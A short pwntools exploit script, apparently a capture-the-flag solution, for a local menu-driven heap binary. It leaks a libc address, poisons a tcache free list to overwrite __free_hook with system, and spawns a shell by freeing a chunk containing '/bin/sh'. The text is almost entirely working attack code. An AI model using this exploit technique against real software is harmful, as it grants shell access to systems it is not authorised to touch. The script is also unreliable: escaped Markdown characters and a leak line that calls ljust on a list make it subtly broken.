from pwn import \*

context.arch = 'amd64'

p = process('./heap')

elf = ELF('./heap')

libc = ELF('./libc.so.6')

def add(idx, size, content):

    p.sendlineafter(b'>', b'1')

    p.sendlineafter(b'Index: ', str(idx).encode())

    p.sendlineafter(b'Size: ', str(size).encode())

    p.sendafter(b'Content: ', content)

def delete(idx):

    p.sendlineafter(b'>', '2')

    p.sendlineafter(b'Index: ', str(idx).encode())

def edit(idx, content):

    p.sendlineafter(b'>', '3')

    p.sendlineafter(b'Index: ', str(idx).encode())

    p.sendafter(b'New Content: ', content)

def show(idx):

    p.sendlineafter(b'>', '4')

    p.sendlineafter(b'Index: ', str(idx).encode())

    return p.recvline()

# Step 1: Leak libc address

add(0, 0x500, b'A'\*8)

add(1, 0x20, b'B'\*8)

delete(0)

libc\_leak = u64(show(0).split(b'Content: ').ljust(8, b'\x00'))

print(hex(libc\_leak))

libc\_base = libc\_leak - 0x1ecbe0  # Offset for libc 2.31

free\_hook = libc\_base + libc.sym['\_\_free\_hook']

system = libc\_base + libc.sym['system']

# Step 2: Tcache poisoning

add(2, 0x80, b'C'\*8)

add(3, 0x80, b'D'\*8)

delete(2)

delete(3)

edit(3, p64(free\_hook))  # Overwrite fd pointer

# Step 3: Hijack \_\_free\_hook

add(4, 0x80, b'/bin/sh\x00')

add(5, 0x80, p64(system))

delete(4)  # Trigger system("/bin/sh")

p.interactive()